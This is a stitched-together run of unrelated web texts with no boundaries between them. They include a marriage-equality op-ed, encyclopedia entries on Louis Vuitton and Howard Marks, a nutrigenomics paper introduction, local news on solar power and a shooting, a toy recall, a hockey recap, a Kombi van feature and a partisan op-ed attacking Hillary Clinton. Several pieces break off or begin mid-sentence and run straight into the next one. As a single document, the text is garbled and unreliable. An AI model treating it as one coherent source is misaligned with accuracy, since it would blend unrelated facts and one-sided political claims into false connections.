The circumstances that propelled Ben Jago into the national spotlight were heartbreaking. He returned to his Hobart home one evening to find his partner dead. Still dealing with that trauma, Ben discovered the police and coroner had not recognised him as next of kin, but had given that legal right to his deceased partner’s estranged mother. The authorities’ mistake was that they assumed Ben and his partner were not in a relationship because they didn’t have a Tasmanian civil union certificate. In fact they had lived together for five years and had the same rights as other couples, but the damage was done.
Ben was refused permission to see his partner’s body in hospital. He was only allowed to attend the funeral after negotiations between the two families and on condition he sit down the back with the other friends and say nothing. Ben launched an anti-discrimination case which is still being heard.
But at least the officials have since admitted their error, with one government official I spoke to acknowledging this would not have happened if Ben and his partner had been able to marry. “A marriage certificate is magic,” he said ruefully as it dawned on him what trauma Ben had experienced.
When Ben’s story was told nationally it exploded the myth that marriage equality is just about symbolism. It showed there are real and sometimes awful consequences to being denied a marriage certificate. Never again would a serious politician or commentator declare that marriage for same-sex couples was just about cake and confetti.
The clergyman
The myth that all people of faith are against marriage equality is particularly unjust to those clergy who were among the reform’s strongest advocates, such as the Rev Mike Hercock.
Mike became as a marriage equality supporter when he encountered same-sex couples raising children in Sydney. What transformed him into an advocate was his Christian principle of not walking past injustice, the same principle he applies in his work with Indigenous people.
I was proud to stand by Mike during our meetings with MPs and during media conferences. But his church’s leaders felt very differently, despite Mike’s congregation giving him permission to speak out. That congregation was taken away from him, as was his stipend and his family house, just before Christmas. As difficult as that was for Mike and his family it helped galvanise Christians across Australia, who were outraged this could be done in the name of a loving, merciful God.
The mistreatment of clergy like Mike led in part to the formation of faith groups that were pivotal in achieving marriage equality, groups including Equal Voices, Christians for Marriage Equality and Catholics for Equality.
The dissenter
“Compromise” was a word we heard a lot during the final parliamentary debate on marriage equality. The bill proposed by Dean Smith contained “religious freedom” provisions allowing discrimination by existing civil celebrants and businesses that define themselves as “religious”. That irked many LGBTI people including Alastair Lawrie, who has fought for years to end anti-LGBTI discrimination inflicted in the name of God.
Alastair wrote forensically and compellingly about the flaws in the Smith bill, as well as the even bigger problems posed by the other religious exemptions on the table.
His words struck a chord with politicians, contributing to the Greens’ move to introduce amendments to improve the Smith bill, prodding some Labor members to acknowledge that the bill could have been better, and helping to ensure Labor voted as a block against anything worse than the Smith exemptions.
Marriage equality has passed but there’s more to be done for a fairer society Read more
What made this achievement all the greater was that the political tide was running against Alastair. The Equality Campaign and the nation’s political leaders wanted marriage equality done quickly, with the least fuss. They held out the incentive of lots of wonderful summer weddings. Compromise won out, but still the point was emphatically made that the once noble concept of “religious freedom” is being abused as a cover for discrimination. Thanks to people like Alastair, a new movement was born at the very moment marriage discrimination died, a movement against religious privilege.
The marriage equality movement was always a movement from below, a movement made up of ordinary people called on by history to do extraordinary things.
Long before politicians and other high-flyers noticed or cared, thousands of people like the ones I’ve described built the stage upon which those leaders have lately strode and strutted.
When your children ask you how marriage equality was won, remember the unremembered and quietly thank them for the better nation we live in.
• Rodney Croome is a longtime marriage equality advocateLouis Vuitton (4 August 1821 – 27 February 1892)[1] was a French fashion designer and businessman. He was the founder of the Louis Vuitton brand of leather goods now owned by LVMH. Prior to this, he had been appointed as trunk-maker to Empress Eugénie de Montijo, wife of Napoleon III.[2]
Early life [ edit ]
Vuitton was born on 4 August 1821 in Anchay in the Jura region in Eastern France. Descended from a long-established working-class French family, Vuitton's ancestors were joiners, carpenters, farmers and milliners. His father, Xavier Vuitton, was a farmer, and his mother, Corinne Gaillard, was a milliner. Vuitton's mother died when he was only 10 years old, and his father died soon after.
Work and career [ edit ]
In the courtyard of the Asnières workshops, around 1888, Louis, Georges and Gaston L. Vuitton (sitting on a bed trunk
On the first day of tolerable weather in the spring of 1835, at the age of 13, Vuitton left home alone and on foot, bound for Paris. He traveled for more than two years, taking odd jobs to feed himself along the way and staying wherever he could find shelter, as he walked the 292-mile (470-km) trek from his native Anchay to Paris. He arrived in 1837, at the age of 16. At the time of his arrival in Paris, there was widespread poverty. The city was also being transformed by the Industrial revolution. Vuitton was taken on as an apprentice in the workshop of a successful box-maker and packer named Monsieur Marechal. In 19th-century Europe, box-making and packing was a highly respectable and urbane craft. A box-maker and packer custom-made all boxes to fit the goods they stored and personally loaded and unloaded the boxes. It took Vuitton only a few years to stake out a reputation amongst Paris's fashionable class as one of the city's premier practitioners of his new craft.
In 1854, at age 33, Vuitton married 17-year-old Clemence-Emilie Parriaux. Soon after the marriage, he left Marechal's shop, and opened his own box-making and packing workshop in Paris. Outside the shop a sign hung reading "Securely packs the most fragile objects. Specializing in packing fashions."[3] Four years later in 1858, Vuitton introduced his revolutionary stackable and waterproof rectangular shaped trunks to a market that only had rounded tops. This demand spurred his expansion into a larger workshop outside of Paris.The original pattern of the shellac embedded canvas was named Damier.
He designed the current "monogram" pattern because to copy a monogram was illegal.
He also designed to great disbelief the world's first pick proof lock. All lock patterns were safely kept at Vuitton's workrooms and registered with the proud owners name in case another key was needed.
After the re-establishment of the French Empire under Napoleon III, Vuitton was hired as personal box maker and packer to the Empress of France, Spanish countess Eugenie de Montijo. She charged him with "packing the most beautiful clothes in an exquisite way." De Montijo provided Vuitton with a gateway to other elite and royal clients who provided him with work for the rest of his career.
In 1871, as a result of the Franco-Prussian War, Vuitton's workshop in Asnieres was in shambles, just like the rest of the village. Tools were stolen and the staff was gone. Vuitton decided to start over immediately and he quickly built a new shop at 1 Rue Scribe. The area of the new workshop had a high-end aura to it, next to a prestigious Jockey Club in the heart of the rebuilding of Paris. In 1872, Vuitton introduced a new line in which in addition to the print was a red stripe that would become a signature of the brand for centuries to come.[4]
Death [ edit ]
He continued to work until his death at the age of 70 on 27 February 1892. After his death, his son Georges Vuitton took over control of the company.[3]The search for knowledge regarding healthy/adequate food has increased in the last decades among the world population, researchers, nutritionists, and health professionals. Since ancient times, humans have known that environment and food can interfere with an individual's health condition, and have used food and plants as medicines. With the advance of science, especially after the conclusion of the Human Genome Project (HGP), scientists started questioning if the interaction between genes and food bioactive compounds could positively or negatively influence an individual's health. In order to assess this interaction between genes and nutrients, the term “Nutrigenomics” was created. Hence, Nutrigenomics corresponds to the use of biochemistry, physiology, nutrition, genomics, proteomics, metabolomics, transcriptomics, and epigenomics to seek and explain the existing reciprocal interactions between genes and nutrients at a molecular level. The discovery of these interactions (gene-nutrient) will aid the prescription of customized diets according to each individual's genotype. Thus, it will be possible to mitigate the symptoms of existing diseases or to prevent future illnesses, especially in the area of Nontransmissible Chronic Diseases (NTCDs), which are currently considered an important world public health problem.
1. Introduction
Food intake and the environment are the two main factors that affect the health or illness of an individual [1]. Studies in nutritional area have increased the understanding of how to maintain healthy a group of individuals that live in different dietary conditions [2–4]. However, after the conclusion of the Human Genome Project (HGP), new insights about the influence of nutrients into people's diet were postulated, which included (i) will gene expression in response to metabolic process, at cellular level, influence the health of an individual? (ii) Are gene expression and metabolic response the result of the interaction between genotype and environment/nutrient? (iii) Understanding how this interaction process occurs between gene and nutrient could lead to the prescription of specific diets for each individual. Hence, in order to answer those questions, Nutrigenomics was introduced [2, 5–7]. The studies on Nutrigenomics are focused on the effects of the nutrients over the genome, proteome, and metabolome, as illustrated on [2, 7–10].
Therefore, Nutrigenomics is the area of nutrition that uses molecular tools to search, access, and understand the several responses obtained through a certain diet applied between individuals or population groups [2, 5, 11, 12]. It seeks to elucidate how the components of a particular diet (bioactive compound) may affect the expression of genes, which may have increased its potential or which can be suppressed [2, 5, 12]. This response will depend on how genes will show a changed activity or alter gene expression ( ) [2]. Some examples of this gene-nutrient interaction are their capacity on binding to transcription factors. This binding enhances or interferes with the ability of transcription factors on interacting with elements that will lead to the binding control of RNA polymerase. Earlier studies performed with vitamins A, D and fatty acids have shown that they can trigger direct actions in activating nuclear receptors and induce gene transcription [5, 13, 14]. Compounds such as resveratrol present in wine |
British Secret Intelligence Service he was treated as a potential escapee and spent many weeks in solitary confinement, though he never attempted to escape or threatened other prisoners or prison staff.[83] During his time in prison he found success as a jailhouse lawyer for the other inmates, securing one overturned conviction.[84] He gave up cigarettes for the last three years of his sentence.[85] In January 1995, Marks was granted parole after a prison officer testified that he was a model prisoner who spent much of his time helping his fellow prisoners pass their GED exams.[86] He was released in April 1995.[87]
Life after release [ edit ]
Acting [ edit ]
He acted in gangster movie Killer Bitch (2010),[88] starred in the film I Know You Know (2009),[89] appeared as Satan in the 2006 movie adaptation of the Dirty Sanchez television series,[90] and had a cameo appearance in the film Human Traffic (1999).[91] He appeared as himself in AmStarDam (aka "Stoner Express") (2016).
Advocacy and politics [ edit ]
Marks stood for election to the UK Parliament in 1997, on the single issue of the legalisation of cannabis.[92] He contested four seats at once - Norwich South (against future Home Secretary Charles Clarke), Norwich North, Neath and Southampton Test - and picked up around 1% of the vote.[92] This led to the formation of the Legalise Cannabis Alliance (LCA) by Alun Buffry in 1999; the party reformed as Cannabis Law Reform in 2011.[93]
He also argued for the legalisation of cannabis in numerous television programmes in the United Kingdom. On 1 October 2010, he was interviewed on Ireland's The Late Late Show.[94] The Dutch Cannabis Seedbank Sensi Seeds dedicated their strain Mr Nice G13 x Hash Plant to Marks for his advocacy work.
Books [ edit ]
Following his release from prison, Marks published an autobiography, Mr. Nice (1996), which has been translated into several languages.[95][96] He also compiled an anthology called The Howard Marks Book of Dope Stories (2001)[97] and more recently a follow-on from his autobiography: Señor Nice: Straight Life From Wales to South America.[98] Señor Nice differs from his previous book as drugs are not central to the story and, while autobiographical, the book is more Marks's own exploration of his ancestor, the pirate Sir Henry Morgan.[99] In 2011, he penned the thriller Sympathy for the Devil. His final book "Mr Smiley, My last pill and testament" ISBN 978-1-5098-0968-4 Pan Macmillan, published 2015
Marks held a series of book-readings into 2014. In these live events he regaled his audiences with tales of his smuggling days and his time in prison, as well as offered insight into drug production and the arguments for legalisation of cannabis.
Comics and videogame [ edit ]
Marks and comic writer Pat Mills collaborated on comic strips which tied in with Sony's inFamous 2 video game.[100]
Music [ edit ]
In the music world, he appeared as a guest on the BBC music quiz show Never Mind the Buzzcocks.[101] He also collaborated with Welsh group Super Furry Animals on their album Fuzzy Logic (released May 1996) and on their singles "The Man Don't Give a Fuck" and "Ice Hockey Hair".[102] He featured on the album Angel Headed Hip Hop (2009) with Lee Harris and River Styx.[103] He also worked with former Happy Mondays guitarist Kav Sandhu,[104] and appeared at numerous British music festivals, including: (Glastonbury 2009 and 2011),[105] Beautiful Days,[106] RockNess,[107] Camp Bestival,[108] Kendal Calling,[109] and the Sonisphere Festival.[110] He was featured on the Reverend & The Makers track "MDMAzing" on their third album @Reverend Makers (2012).
Works about Marks [ edit ]
Marks was the subject of the biography High Time (1984) written by David Leigh.
Marks was also the subject of the film Mr. Nice (2010), named after his 1997 autobiography.[111] The film featured Rhys Ifans as Marks and Chloë Sevigny as his wife Judy.[112]
In 2013, Marks recounted his story in an episode of the television series Banged Up Abroad.
Death [ edit ]
On 25 January 2015, it was announced that Marks had inoperable colorectal cancer.[113] He died of the disease on 10 April 2016, at the age of 70.[114]
Bibliography [ edit ]
References [ edit ]
Specific
GeneralResidential and commercial CPS Energy customers will soon be able to receive discounts on their electricity bills without even seeing a solar panel when Clean Energy Collective, in partnership with the City-owned utility, flips the switch on its RooflessSolar program in July.
CEC will likely complete its 1.2 megawatt (MW) community solar farm off Loop 1607 and U.S. Highway 87 near Adkins, TX between July 11 and July 15 when it plans to send executives to San Antonio to launch the pilot program alongside CPS Energy, said Jonathan W. Postal (J.W.), chief operating officer of the Colorado-based solar development company.
Under the program, customers purchase the rights to solar panels at about $200 each and the electricity generated will be credited to their bill. Each panel takes about nine years to pay for itself after federal tax credits and local incentives. The RooflessSolar program is geared towards CPS Energy customers that can’t afford solar installation, have homes or businesses unsuitable for solar installation, or simply don’t want the hassle of having panels installed on their property but still want to “join the club,” Postal said.
To connect the customer with their abstract investment in Adkins, CEC developed a mobile-optimized website MyOwnCleanEnergy to check in on their panels 24 hours a day. The site displays how much electricity the customer’s panels are producing and how much money will be taken off their bill.
About 31% of the solar farm’s capacity has already been sold to more than 1,500 customers, Postal said, and CEC hasn’t started its focused marketing or awareness campaigns yet. But Postal isn’t surprised that San Antonians have jumped on the offer.
“San Antonio is a very solar-friendly city compared to some markets. The level of education on the solar business and the solar market is pretty high here,” he said, noting the 500 MW of solar generation that CPS Energy will have in its renewable energy portfolio by the end of 2016. CPS Energy’s goal is to have 1,500 megawatts (MW) of renewable capacity by 2020, which will be the equivalent of about 20% of total generation.
“Sadly, solar has become political, there’s been lots of fights with regulators, legislators, and utilities,” Postal said.
The solar industry in some states like Colorado, Arizona, and Nevada is struggling to work within newly-founded regulations. Developers in Texas can operate with relative freedom.
The city tops several regional lists for having the most installed capacity of solar including one that ranks it No. 1 in Texas.
Further illustrating that point, I spoke with Postal in a grand hallway at the Hyatt Regency Hill Country Resort on Tuesday where hundreds of solar industry stakeholders from around the world convened for day one of the Solar Power Southwest conference that continues through Wednesday.
The regional conference is one of many put on in the U.S. by the Solar Energy Industries Association (SEIA) and Smart Electric Power Alliance (SEPA) that leads up to its four-day international conference, which will be in Las Vegas this year from September 12-15.
The first panel discussion on Tuesday’s agenda was a case study on CPS Energy’s strategies to increase utility- and customer-scale solar projects while nurturing a local “hub” of solar companies.
“National organizations like SEIA and SEPA are taking note of what we’re doing here in San Antonio to build this solar ecosystem – this New Energy Economy,” said CPS Energy spokesman Paul Flaningan.
“Not many utilities are doing something like this,” he added, noting solar manufacturing and service companies that have moved operations or opened up offices in San Antonio like Sun Action Trackers, KACO new energy, OCI Solar Power/Mission Solar, Greenstar, and others.
Industry leaders and other utilities are taking closer looks at CPS Energy’s Simply Solar pilot programs: the SolarHost program that essentially allows customers to lease out their roofs for a flat fee to a company that installs and maintains solar panels for free and pays the customer “rent” for the space, and the roofless/community solar program operated by CEC.
“We’re always looking for different ways to deliver innovative products to our customers,” Flaningan said. “The more information we can learn from other energy providers or other utilities, the better.”
The SolarHost and community solar programs are still pilot programs. The leases and contracts last decades on the MW installed, but whether CPS Energy will expand them remains to be seen. Initial data indicates a strong demand for both programs.
“Once these pilots come to an end, we’ll gather the data, we’ll hear from our customers on what worked and what didn’t work,” he said. “We’re going to re-tool and re-think and we’re going to come at our customers with products and services that they want.”
The rapidly depleting solar rebate indicates a strong market for private installation as well.
CEC has toyed with the idea of scaling up the program in the future, but Postal is reserving that judgement call until the data comes in.
“This is a nice sized pilot program that’s got to be proved out,” he said.
While one could get away with receiving the benefits of solar without ever seeing solar panels by buying into CEC’s program, Postal hopes anyone curious about the program comes out to several events that will be planned for the program’s official launch week in July. Details are pending, but he said it will be a good opportunity to see how the solar “sausage” is made.
Top image: (File photo) A solar farm in Uvalde, TX. Photo by Kathryn Boyd-Batstone.
Related Stories:
New Owners Celebrate 95 MW Solar Farm
CPS Energy Outsources Energy Efficiency Programs, Considers New Substation
San Antonio: Still #1 in Texas For Solar
Villarreal’s King William Solar Plan Is a Go
Happy Southsider is First ‘Solar Host’ in San AntonioNBC 7's Omari Fleming reports on the shooting inside the Shadow Ridge Apartments known to house foster children who have aged out of the system. (Published Monday, July 27, 2015)
One man was arrested Sunday hours after an Oceanside shooting that killed one teen and wounded another, police said.
Shots were fired at the Shadow Ridge Apartments on Barnard Drive at approximately 2:10 p.m. The complex houses some former foster children who have aged out of the system, according to residents. The shooting appears to have happened inside one of the units, officials said.
When Oceanside Police arrived, officers found two victims on the ground, Lieutenant Matt Cole said. One of the men was dead, the other was suffering from non-life threatening injuries.
Veronica Thomas told NBC 7 the victims were brothers who had just moved into the same unit with a man who had been living alone. It was known to some of the residents that the alleged gunman and one of the victims didn’t get along, Thomas said.
Calvin Glass Jr., 18, was arrested and booked on charges of one count of murder and one count of attempted murder.
Oceanside Police said a witness on scene helped them find Glass, who was taken into custody by Escondido Police officers at the Escondido Transit Center. Officers say he escaped using busses and trains.
Glass confessed to shooting both victims, Cole said. The victims' names were withheld pending notification of the family.
The surviving victim was taken to a nearby trauma center, police said. Both victims were adult men over the age of 18, police said.
Oceanside Police Department's Crimes of Violence unit will continue the investigation.
The manager at a neighboring apartment complex who didn't want to be identified told NBC 7 that roommate tension has been a problem with the program.
Some of the foster children were housed at her complex in the past.
“They put two girls or two guys together and once they get to know each other they don’t get along,” the woman said. “Instead of separating them it sits stews and festers."Looking for news you can trust?
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“Apparently,” sighs Matt Yglesias, “the ridiculous political attack line we’re supposed to talk about today is Mitt Romney’s claim that 92.3 percent of jobs lost since Barack Obama took office belonged to women.” You betcha! Mainly, though, this is interesting as an object lesson in how to mislead with statistics. As a political attack, it’s too lame to last more than a day or two.
So do you want to know how Team Romney came up with this number? The chart below, which shows job losses among men and women, tells the tale. If you look at jobs lost since the beginning of the recession, here’s what you get:
Men: 3,321
Women 1,840
Total: 5,161
Percent women: 36%
But that’s too boring! As you can see, there was a steep job loss among men right at the beginning of the recession and a slower job loss among women. So what happens if you just lop off that bit of the recession and count only the strength of the recovery since January 1, 2009? Well, men have recovered steeply and women have recovered more slowly. So now we have:
Men: 57
Women: 683
Total: 740
Percent women: 92%
Pretty snazzy, eh? Men have made up ground faster than women since January 2009, so technically that means that women have sustained the bulk of the job losses since then. Very clever indeed. Politifact has more here.
ALSO WORTH NOTING: It’s important for Romney to start on January 1, even though Obama wasn’t inaugurated until January 20. Why? Because if you started on February 1, you’d end up with women accounting for something like 300% of all job losses, and that’s ridiculous enough that it would give the whole game away. Even the rubes wouldn’t buy that.Read more details of what's being recalled on Mattel's recall website.
(CNN) -- Toy manufacturer Fisher-Price announced Thursday that it has recalled about 10 million toys because they were dangerous to children.
The toy maker said it has recalled about 2.8 million of several types of baby play areas with inflatable balls because of problems with choking. It also recalled 125,000 of the toys in Canada.
The company found that a valve from the inflatable ball can come off and become a choking hazard.
Fisher-Price said it was aware of 46 reports of the valve coming off in the United States and eight incidents in Canada.
"These include 14 reports of the valve found in a child's mouth and three reports of a child beginning to choke. No injuries have been reported," the company said.
More than 7 million tricycles were also being recalled because of a protruding part that had cut children, the company said.
The company said it was "aware of 10 reports of incidents resulting in injury. Six of the incidents required medical attention."
Fisher-Price also said it recalled about 120,000 small car toys because of at least two reported cases of the wheels coming off, causing a choking hazard.
Along with the toys, the company also recalled close to a million of several types of high chairs because of 14 reports of children being cut by the legs on the chairs.
In seven of the cases, the injured children needed stitches, the company said.
Customers can call the Fisher-Price hot line at 800-432-5437 for more information.ORLANDO, Fla. – Joe Perry set a new individual single-season goals record for the Orlando Solar Bears (27-19-6-3), but the team could not complete a late comeback as Orlando fell to the Atlanta Gladiators (21-25-6-1) by a 5-4 score on Friday night at the ARS.com Rink at Amway Center.
Click here for the box score.
Chase Witala opened the scoring for the Solar Bears when he teamed up with Austin Block and Alex Gacek on a give-and-go play that resulted in Gacek feeding a pass to the left side of Matt Ginn’s crease, allowing Witala to tap home the puck just 3:49 into the match.
The Gladiators got the tying score from Rory Rawlyk shortly after Orlando successfully killed off a penalty to Michael Turner, as A.J. White flipped the puck from the bottom of the right circle across the slot, and the Atlanta defenseman snapped the puck past Kasimir Kaskisuo at 7:56.
Orlando gained a 2-1 lead in the second period with a power-play goal when the Gladiators turned the puck over during an odd-man shorthanded rush, leaving Witala and Gacek to break in on a 2-on-1 situation, with Witala sending a pass behind Atlanta defenseman Tommy Vannelli to Gacek who chipped the puck past Ginn at 3:57.
Connor Gaarder brought the score back even at 14:04 when he made his way toward the crease and tipped a Justin Buzzeo pass through the legs of Kaskisuo, and Atlanta gained its first lead of the night at 15:15 when Derek Nesbitt retrieved the puck at the bottom of the right circle and took advantage of a falling Daniel Maggio to gain enough space to snap a shot past Kaskisuo’s blocker.
Perry’s history-making goal came at 5:43 of the frame when Milos Bubela made his way behind the net and threaded a backhand pass across the crease to Perry, who fired a shot past Ginn to tie the score at 3-3. The goal was Perry’s 28th of the season, breaking the previous mark of 27 he had shared with Mickey Lang that was previously established by Lang during the 2013-14 campaign.
Alex Guptill then struck immediately following a faceoff in the Orlando zone to make it 4-3 at 6:16, but Brenden Miller tied the score with a blast from the left point at 9:33.
Rawlyk provided the game-deciding goal when Kaskisuo made a blocker save on Tyler Shiplo’s shot from the point, but the attempt by the defense to clear the zone was intercepted by Rawlyk, who slapped the puck over the shoulder of the goaltender at 11:35. Despite a valiant effort with Kaskisuo pulled for an extra skater late in regulation, Orlando was unable to find a final tying score.
Kaskisuo took the loss with 37 saves on 42 shots against; Ginn earned the victory with 42 stops on 46 shots against.
Despite the defeat, Orlando remains in third place in the South Division after Greenville fell 5-3 at Norfolk, and South Carolina’s game at Rapid City was postponed due to an ice issue at the Rushmore Plaza Civic Center.The ex-PM (above) smokes one of his trademark cigars
It's impossible to think of Winston Churchill without a cigar.
Yet the makers of a new biopic of the wartime leader have still deemed it necessary to warn film-goers that ‘the depictions of tobacco smoking are based solely on artistic consideration’.
The ludicrous health alert comes in the final credits of Darkest Hour, in which Gary Oldman has been acclaimed by critics for his performance as the former Prime Minister.
The movie is already out in the US and will be released in Britain next month.
Churchill is rarely seen without a cigar in the film, set in 1940 when Britain stood alone against Hitler. In the opening scenes his face is lit in a darkened room by a cigar. He continues to puff away when he greets a five- month-old baby on the London Underground.
The movie is already out in the US and will be released in Britain next month
The secondhand smoke warning (above) which features in the film credits
Leading historians last night ridiculed the warning.
Professor Mary Beard said: ‘It only adds to the temptation if you ask me.’
Biographer Hugo Vickers said: ‘Perhaps they should have added a line, “Sir Winston Churchill lived to be 90.” ’ And Professor Sir Richard Evans, an expert in European history, said: ‘I don’t suppose the film will prompt many to rush out and buy cigars.’
Universal Pictures, which is distributing the film in the UK, declined to comment.Hillary Clinton is too weak and her conclusions after Sunday’s terror attack in Orlando too timid to be our next president.
Monday, the presumptive Democratic nominee labeled the radical Islamic terrorist who attacked an Orlando nightclub “A madman filled with hate, with guns in his hands and just a horrible sense of vengeance and vindictiveness in his heart, apparently consumed by rage against LGBT Americans – and by extension, the openness and diversity that defines our American way of life.”
The former secretary of state has incredibly bad judgement: she missed the rise of Russia and laughingly pushed a “reset” button on our strategy to isolate them; she reviewed the intelligence on Boko Haram and decided against putting the group on the terrorist watch list, she was unwilling to stop ISIS in Syria before they began to take hold, and she now diminishes the Orlando terrorist attack to a simple and tragic instance of gay hate.
Radical Islam isn’t going to stop attacking us because of a shaming campaign labeling them mean people by Hillary Clinton and her supporters.
She talks of unity and prayers, albeit important messages, but is unable to offer serious government action. While listing the survivor’s names and occupations, calling the Orlando mayor, and thanking the first responders for their efforts is sweet, it isn’t going to stop the growing terrorist threat we face in the U.S.
It is the goal of the terrorists to attack anyone they believe to be apostates.
Hillary doesn’t get that. She talks of unity and prayers, albeit important messages, but is unable to offer serious government action. While listing the survivor’s names and occupations, calling the Orlando mayor, and thanking the first responders for their efforts is sweet, it isn’t going to stop the growing terrorist threat we face in the U.S.
The Orlando attacker pledged his allegiance to the caliphate and it is clear that more people will do the same. Every American woman and man who acts Western are targets. Gays are not separate from this agenda. This is the real war on women. This is the real war on gays. This is a war on the West.
As Secretary of State Clinton missed this growing war with Islamic radicals. Her tenure as Barack Obama’s lead diplomat saw the Arab Spring turn into the Islamic Awakening. And she was ill-equipped to stop it.
She failed to respond quickly and forcefully enough against ISIS when she was in charge, and that led to her presiding over the growth of ISIS and Boko Haram. It is troubling to hear her now support the exact same strategy we’ve been pushing for years with our 63 coalition partners – one that has failed to even take out the command and control center of ISIS.
Clinton also reacted to the terrorist attack in Orlando with the typical liberal political suggestion of more gun control policies. Her judgement during and after a crisis should be a serious concern for all Americans. She failed to see that the Orlando attacker not only went through a background check but had also been investigated by the FBI. If an FBI investigation isn’t going to catch a terrorist before they act, then an increased background check is a weak and insufficient response.
The fact is that the FBI was suspicious of the Orlando attacker months ago. They were investigating him. But since he didn’t have a prior arrest record, the politically correct mob demanded that law enforcement agencies leave him alone. Hillary has even mocked policies that push to follow Muslims on suspicions of threats. So while she calls for more action, she ridicules the very thing that could stop the attacks.
Hillary’s call Monday to, “keep the pressure on ramping up the air campaign, accelerating support for our friends fighting to take and hold ground, and pushing our partners in the region to do even more” is a weak, stay-the-course response to a frightening trend.
In other words, she suggests we hug our neighbor and hope that others do something more.Volkswagen Kombi's epic journey reaches end after 63 years... but buyers can snap up limited final edition of iconic van for £26,000
Brazil is the last country still producing the iconic vehicle after it was introduced in Germany 63 years ago
It will cease production due to new safety rules mandating every vehicle must have air bags and anti-lock braking
As a farewell gesture, Volkswagen is offering a limited final edition to buyers - priced at an estimated £26,000
Yesterday, exhibition was held in Sao Bernardo, Brazil, to honour the last of the Volkswagen Kombi vans
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For 63 years, it has carried families of hippies, hauled surfers in search of killer waves and served as a workhorse across many developing countries.
But now, the Volkswagen Kombi's epic journey has finally reached the end of the road.
The iconic vehicle has succumbed to environmental legislation - meaning it will no longer be produced in Brazil, or anywhere else in the world.
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Iconic: The Volkswagen Kombi's epic journey has finally reached the end of the road after 63 years of production. Above, a multi-coloured fleet of the beloved vehicles
Farewell gesture: The Kombi has succumbed to environmental legislation. However, Volkswagen is now offering a limited final version (pictured) to buyers and collectors
Final edition: About 1,200 'last edition' models are expected to be produced by the German manufacturer - each priced at an estimated $43,000 (£26,000)
Brazil is the only country still producing the beloved model, which was introduced in Germany in 1950.
However, it will cease production on December 20 due to new safety regulations coming into force next year - mandating that every vehicle in the country must have air bags and anti-lock braking.
Now, as a farewell gesture, Volkswagen is offering a limited final version of the Kombi to buyers and collectors.
About 1,200 'last edition' models are expected to be produced by the German manufacturer - each priced at an estimated $43,000 (£26,000).
Factory: Workers produce limited final editions of the Kombi in Volkwagen Brazil's factory in Sao Bernardo do Campo today
Production: Brazil is the only country still producing the beloved Kombi, which was introduced in Germany in 1950
End of an era: However, the country will cease production on December 20 due to new safety regulations coming into force next year - mandating that every vehicle in the country must have air bags and anti-lock braking. Above, workers test various elements of the final edition Kombi
People across the world are mourning the end of the Kombi - with some van lovers holding an exhibition in Sao Bernado do Campo, Brazil, yesterday to honour their beloved minubuses.
In total, more than 10million of the iconic vehicles have been produced throughout the world - with 1.5million having been made in Brazil since 1957.
The vans were called the Type 2, because they were the second type to be offered by car maker Volkswagen - the first being the Beetle.
Over the years, they have been dubbed a variety of things, including the minivan, microvan, hippie van, campervan and the 'bus'.
Hippie hooray: For 63 years, the iconic vehicle it has carried hippies, hauled surfers in search of killer waves and served as a workhorse in many developing countries
Popular: In total, more than 10million Kombis have been produced throughout the world - with 1.5million having been made in Brazil since 1957
Out with a bang: People across the world are mourning the end of the Kombi - with some van lovers holding an exhibition in Sao Bernado do Campo, Brazil, yesterday to honour their beloved minubuses
In Britain and the US during the 60s and 70s, partly because it was cheap, the Type 2 became linked with youth culture - with its advertising slogan 'not just a vehicle... more a way of life'.
Fans of the machine said its mechanical failures only reinforced its charm and, because its engine was so simple, it was easy to fix, imparting a deeper sense of ownership.
It became popular that British enthusiasts still gather every year for the annual Volkswagen Festival near Leeds.
Celebrity fans of the iconic vehicle include actor Martin Clunes, who owns two campers – a rare black one with a bay windscreen, and a navy and white split-screen model dating from 1977.
Hippier times: The show was held in Sao Bernardo do Campo, Brazil, tocelebrate the last of the iconic Volkswagen Kombi minibuses to come off the assembly line
Early model: The vans were called the Type 2, because they were the second type to be offered by car maker Volkswagen, the first being the Beetle
Still young: In Britain and the US during the 60s and 70s, partly because it was cheap, the Type 2 became linked with youth culture
Nicknames: Over the years, the Kombi has been dubbed a variety of things, including the minivan, microvan, hippie van, campervan and 'bus'
Die hards: Die-hard British enthusiasts still gather every year for the annual VW Festival near Leeds
‘There’s something so self-contained about a camper,' he said. 'Driving one is like putting on a comfortable pair of old slippers.'
Formula 1 racing driver Jenson Button has also owned two – a red and white model from 1956 and a gold-coloured 1970 Volkswagen Kombi.
Jamie Oliver was less impressed. In 2005, he drove around Europe in a 1959 Samba version of the machine for the Channel 4 television series Jamie’s Great Escape.
'To be honest, it was a complete pain,' he said. 'It was towing a heavy trailer, so perhaps it’s not surprising that it broke down several times.’
Beyond useful: In poorer regions like Latin American and Africa, the vehicle has continued to be made long after production ended in the UK in 1967
Multi-purpose: In Brazil, the Kombi is used by the postal service to haul mail, by the army to transport soldiers, and by funeral directors to carry corpses
Lunch van: Brazilians also convert their vans into rolling food carts, setting up on street corners for working-class lunchtime crowds
Unsafe: Production in Germany was halted in 1979 because the van no longer met European safety requirements
In poorer regions like Latin American and Africa, the vehicle has continued to be made long after production ended in the UK in 1967.
In Brazil its uses are perhaps not as romantic– it is used by the postal service to haul mail, by the army to transport soldiers, and by funeral directors to carry corpses.
Brazilians also convert their vans into rolling food carts, setting up on street corners for working-class lunchtime crowds.
Famous fans: Celebrity fans of the iconic vehicle include actor Martin Clunes, Formula 1 racing driver Jenson Button and chef Jamie Oliver
Numerous attempts: Volkswagen unveiled a new version of the camper van at the 2011 Geneva Motor show, but it never went into production
Sink and mirrors: A man takes a photograph of the inside of a van Volkswagen Kombi minibus fitted with sink and mirror
Fans' favourite: Collector Marcos da Silva carries a miniature Volkswagen Kombi
Production in Germany was halted in 1979 because the Kombi no longer met European safety requirements.
Volkswagen unveiled a new version of the camper van at the 2011 Geneva Motor show, but it never went into production.
Damon Ristau, director of the documentary film ‘The Bus’ about van fanatics, said: ‘The van represents freedom. It has a magic and charm lacking in other vehicles. It’s about the open road, about bringing smiles to peoples’ faces when they see an old VW van rolling along.'
Lap of luxury: A boy plays with a tablet inside a Kombi which has been fitted with leather seats and a widescreen television
Taking a break: Visitors rest at yesterday's exhibition which showcased hundreds of the iconic minibusesNinjaToss Profile Blog Joined October 2015 Austria 1378 Posts Last Edited: 2016-12-03 23:16:41 #1
This news came off as a shock, since they made a Today Forte said in his stream that MVP SC2 disbandedThis news came off as a shock, since they made a statement back in October saying they are not going to disband I'm sorry for all those that got their hearts broken by Zest | Zest, Bisu, soO, herO, MC, Maru, TY, Rogue, Trap, TaeJa", Favourite foreigners: ShoWTimE, Snute, Serral and Nerchio| KT BEST KT |
